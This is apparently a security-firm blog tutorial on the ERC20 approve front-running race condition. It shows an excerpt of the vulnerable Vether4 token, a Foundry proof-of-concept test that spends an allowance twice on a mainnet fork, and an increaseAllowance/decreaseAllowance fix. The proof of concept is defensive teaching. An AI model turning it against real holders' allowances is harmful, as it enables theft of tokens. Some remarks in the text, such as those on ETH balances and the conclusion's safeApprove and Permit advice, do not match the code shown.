How to Prevent Front-Running in ERC20 Smart Contracts
AuditSolidityWeb3 Security

How to Prevent Front-Running in ERC20 Smart Contracts

21 de mayo de 2024Carlos (Bloqarl)
Learn advanced techniques and secure smart contract practices to protect your ERC20 tokens from front-running, exploits, and unauthorized access.

What This Guide Covers on ERC20 Front-Running Attacks

This article explores the critical issue of front-running vulnerabilities in ERC20 tokens on the Ethereum blockchain, focusing on how these security gaps can be exploited through the token allowance mechanism.
We provide a detailed examination of the vulnerability, illustrate it using a specific contract example, and showcase a proof-of-concept attack to highlight the risks.
Read on to discover how to safeguard your digital assets with enhanced security measures tailored for the ERC20 standard.

Introduction

Front-running attacks exploit the fact that transactions on the Ethereum network are processed in the order determined by the miners, based on the gas price offered. This vulnerability can lead to situations where an attacker can front-run a legitimate transaction by offering a higher gas price, thereby manipulating the state of the contract before the original transaction is processed.
One common instance of this vulnerability is the ERC20 token standard's approve function, which allows a user to approve another address to spend a certain amount of tokens on their behalf. If not implemented correctly, an attacker can front-run the approval transaction and drain the user's tokens.

How ERC20 approve Vulnerabilities Enable Front-Running

1. How Front-Running Works on Ethereum and ERC20 Tokens

Definition:
Front running in cryptocurrencies typically occurs when someone with knowledge of an upcoming transaction (from the public mempool) uses this information to their advantage by placing a transaction in such a way that it is confirmed before the known transaction.
ERC20 Context:
For ERC20 tokens, front running often involves seeing an approve transaction pending and quickly using the current allowance before the new approve transaction that modifies this allowance is processed.

2. Example of a Vulnerable ERC20 approve Contract

Here is a simplified example of an existing vulnerable contract. The complete implementation you can find it in Etherscan.
1pragma solidity 0.6.4;
2//ERC20 Interface
3interface ERC20 {
4 [...]
5}
6interface VETH {
7 [...]
8}
9library SafeMath {
10 [...]
11}
12 //======================================VETHER=========================================//
13contract Vether4 is ERC20 {
14 using SafeMath for uint;
15 // ERC-20 Parameters
16 string public name;
17 string public symbol;
18 uint public decimals;
19 uint public override totalSupply;
20 // ERC-20 Mappings
21 mapping(address => uint) private _balances;
22 mapping(address => mapping(address => uint)) private _allowances;
23 // Rest of Parameters
24 [...]
25 //=====================================CREATION=========================================//
26 // Constructor
27 constructor() public {
28 [...]
29 }
30 function _setMappings() internal {
31 [...]
32 }
33
34 //========================================ERC20=========================================//
35 function balanceOf(address account) public view override returns (uint256) {
36 return _balances[account];
37 }
38 function allowance(address owner, address spender) public view virtual override returns (uint256) {
39 return _allowances[owner][spender];
40 }
41 // ERC20 Transfer function
42 function transfer(address to, uint value) public override returns (bool success) {
43 _transfer(msg.sender, to, value);
44 return true;
45 }
46 // ERC20 Approve function
47 function approve(address spender, uint value) public override returns (bool success) {
48 _allowances[msg.sender][spender] = value;
49 emit Approval(msg.sender, spender, value);
50 return true;
51 }
52 // ERC20 TransferFrom function
53 function transferFrom(address from, address to, uint value) public override returns (bool success) {
54 require(value <= _allowances[from][msg.sender], 'Must not send more than allowance');
55 _allowances[from][msg.sender] = _allowances[from][msg.sender].sub(value);
56 _transfer(from, to, value);
57 return true;
58 }
59 // Internal transfer function which includes the Fee
60 function _transfer(address _from, address _to, uint _value) private {
61 require(_balances[_from] >= _value, 'Must not send more than balance');
62 require(_balances[_to] + _value >= _balances[_to], 'Balance overflow');
63 _balances[_from] =_balances[_from].sub(_value);
64 uint _fee = _getFee(_from, _to, _value); // Get fee amount
65 _balances[_to] += (_value.sub(_fee)); // Add to receiver
66 _balances[address(this)] += _fee; // Add fee to self
67 totalFees += _fee; // Track fees collected
68 emit Transfer(_from, _to, (_value.sub(_fee))); // Transfer event
69 if (!mapAddress_Excluded[_from] && !mapAddress_Excluded[_to]) {
70 emit Transfer(_from, address(this), _fee); // Fee Transfer event
71 }
72 }
73 // Calculate Fee amount
74 function _getFee(address _from, address _to, uint _value) private view returns (uint) {
75 if (mapAddress_Excluded[_from] || mapAddress_Excluded[_to]) {
76 return 0; // No fee if excluded
77 } else {
78 return (_value / 1000); // Fee amount = 0.1%
79 }
80 }
81
82 //================================REST OF THE CONTRACT======================================//
83 [...]
84}

Specific Vulnerability Points in Vether4

approve and transferFrom Mechanism:

Scenario:
Suppose Alice decides to change an approval for Bob from 5000 VETH to 2500 VETH. She submits an approve transaction setting Bob's allowance to 2500 VETH.
Front-Running Opportunity:
A malicious actor (or Bob himself) can watch the pending transactions and issue a transferFrom transaction to move the originally approved 5000 VETH before Alice's new approve transaction is confirmed. If the front-runner’s transaction is mined first, they can exploit the old allowance fully before it’s reduced.

Lack of Checks in approve Function:

The approve function directly sets the allowance of a spender without considering any previously set allowances. This can lead to a situation known as a "race condition" where swiftly executed transactions can manipulate allowances to transfer more than intended by the token owner.

No Protection Against Double-Spending Allowance:

The approve function does not protect against the double-spending problem. If a user lowers the allowance of a spender who already has a certain allowance, the spender can quickly spend the existing allowance and still access the newly set allowance if the approve transaction is mined afterward.

3. Foundry PoC: Simulating the Front-Running Attack

  1. Alice approves an allowance of 5000 VETH to Bob.
  2. Alice attempts to lower the allowance to 2500 VETH.
  3. Bob notices the transaction in the mempool and front-runs it by using up the full allowance with a transferFrom call.
  4. Alice's lowered allowance is confirmed and Bob now has an allowance of 2500 VETH, which can be spent further for a total of 7500 VETH.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4import {Test, console} from "forge-std/Test.sol";
5
6interface IVether4 {
7 function transfer(address to, uint amount) external returns (bool);
8 function balanceOf(address account) external view returns (uint);
9 function approve(address spender, uint amount) external returns (bool);
10 function transferFrom(address from, address to, uint amount) external returns (bool);
11}
12
13contract AllowanceRaceConditionTest is Test {
14 IVether4 vether;
15
16 address constant vetherAddress = 0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279; // Mainnet address of Vether4
17
18 address alice = 0x273BA31C706b9D9FdAe1FD999183Bfa865895bE9;
19 address bob = 0x159e4E57eD13176A69693c987917651C552d2575;
20
21 function setUp() public {
22 vether = IVether4(vetherAddress);
23 }
24
25 function testAllowanceRaceCondition() public {
26 uint256 bobInitialBalance = vether.balanceOf(bob);
27 uint256 aliceInitialBalance = vether.balanceOf(alice);
28
29 console.log("Bob's initial balance: ", bobInitialBalance);
30 console.log("Alice's initial balance: ", aliceInitialBalance);
31
32 // Alice approves Bob to spend 5000 VETH
33 vm.prank(alice);
34 vether.approve(bob, 5000 ether); // Using 'ether' to convert to correct token units if necessary
35
36 // Bob tries to front-run Alice's next approval by transferring 5000 VETH to himself
37 vm.prank(bob);
38 vether.transferFrom(alice, bob, 5000 ether);
39
40 // Alice lowers the allowance to 2500 VETH
41 vm.prank(alice);
42 vether.approve(bob, 2500 ether);
43
44 // Bob attempts to transfer the newly approved 2500 VETH
45 vm.prank(bob);
46 bool txSuccess = vether.transferFrom(alice, bob, 2500 ether);
47
48 uint256 bobFinalBalance = vether.balanceOf(bob);
49 uint256 expectedBobBalance = bobInitialBalance + 7500 ether; // Sum of first and second transfer
50
51 assertEq(bobFinalBalance, expectedBobBalance, "Bob's final balance should reflect the transfers");
52 assertTrue(txSuccess, "Bob's second transfer should succeed within allowance");
53 }
54}

Contract Interface and Setup:

IVether4 Interface:
This defines the expected functions of the Vether4 contract, allowing the test contract to interact with Vether4 as if it were a local Solidity contract.
setUp Function:
This function initializes the Vether4 contract interface by pointing it to the deployed address of Vether4 on mainnet. This setup occurs before each test is run.

Test Functionality (testAllowanceRaceCondition):

Initial Balance Checks:
The test first logs the initial Ethereum balances of Bob and Alice. It's important to note that if bob.balance and alice.balance refer to their ETH balances, they may not reflect changes from Vether token transfers. For token balance checks, vether.balanceOf(address) should be used instead.
Approve and TransferFrom:
The test simulates a common scenario where Alice approves Bob to spend a certain amount of Vether tokens, and then attempts to change this allowance. However, before the new allowance is set, Bob tries to transfer the initially approved amount.
  • Alice first approves Bob to spend 5000 VETH.
  • Bob, potentially acting maliciously or taking advantage of the timing, transfers 5000 VETH to himself before Alice can lower the allowance.
  • Alice then lowers the allowance to 2500 VETH.
  • Bob attempts to transfer again under the new allowance.
Balance Validation:
After the operations, the test checks if Bob's final token balance matches the expected value, considering both transfers. This is crucial to validate that the token transfer operations respect the allowances set and changed over time.

Security Implications:

This test effectively demonstrates a race condition where Bob can use the full initial allowance before it's successfully reduced. It showcases the importance of handling allowances carefully, especially in multi-user environments where timing differences can lead to unexpected or exploitative behaviors.

Running the Test with Forge Test Fork

Forge Test Fork:
You are running these tests on a fork of the main Ethereum network. This allows you to interact with the current state of the Ethereum mainnet in a controlled, isolated environment. The --fork-url parameter points to an Alchemy node that provides access to this forked version of the network.
Command to Run:
1forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/your-api-key

How to Prevent ERC20 Front-Running Vulnerabilities

Among various strategies to prevent front-running vulnerabilities in ERC20 tokens, using the increaseAllowance and decreaseAllowance functions stands out as particularly effective. This approach addresses the core issue of the traditional approve function, which can expose users to front-running attacks during the allowance adjustment period.
Why increaseAllowance and decreaseAllowance Are Effective:
Minimizes the Race Condition Window:
These methods reduce the risk of front-running by minimizing the window of time during which the allowances are vulnerable. By adjusting allowances incrementally, it ensures that any front-running transaction cannot exploit a large, suddenly granted allowance.
Enhances Control Over Allowance Changes:
By allowing token holders to specify exactly how much to increase or decrease the allowance, these functions offer more precise control over the changes, reducing the likelihood of unintentionally setting incorrect allowances.
Prevents the Zero-Reset Vulnerability:
The traditional method of resetting an allowance to zero before setting a new higher value can be risky if the approve transaction is front-run after the zero reset but before the new value is set. The increaseAllowance and decreaseAllowance functions inherently avoid this pitfall by directly adjusting the existing value.
1function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
2 _approve(msg.sender, spender, allowance(msg.sender, spender).add(addedValue));
3 return true;
4}
5
6function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
7 _approve(msg.sender, spender, allowance(msg.sender, spender).sub(subtractedValue, "ERC20: decreased allowance below zero"));
8 return true;
9}

Conclusion

In conclusion, this exploration of front-running vulnerabilities within the ERC20 token standard has highlighted the crucial need for improved security measures. By detailing how attackers exploit transaction order on the Ethereum network, particularly through the approve function, we've emphasized the importance of safeguarding digital assets. Implementing solutions like the safeApprove method and adopting the ERC20 with Permit standard can significantly reduce risks, making smart contracts more robust against such exploits.
For developers and participants in the cryptocurrency space, prioritizing these enhancements is not just about protecting investments; it's about fostering trust and stability in blockchain technologies. As we continue to innovate, the integration of rigorous security practices will be key to sustaining growth and ensuring that blockchain fulfills its promise of secure, decentralized transactions. These improvements are essential for anyone looking to enhance the integrity and functionality of their digital assets on the Ethereum platform.

About Zealynx Security

Front-running vulnerabilities are avoidable, but only if you know where to look. At Zealynx Security, we help teams strengthen smart contracts through expert audits, fuzzing, and targeted tests that catch the kinds of exploits covered here. If you're building with ERC20 or need peace of mind before launch, reach out to us or explore how we can help.

Connect with us:

References:

oog
zealynx

Subscribe to Our Newsletter

Stay updated with our latest security insights and blog posts

© 2024 Zealynx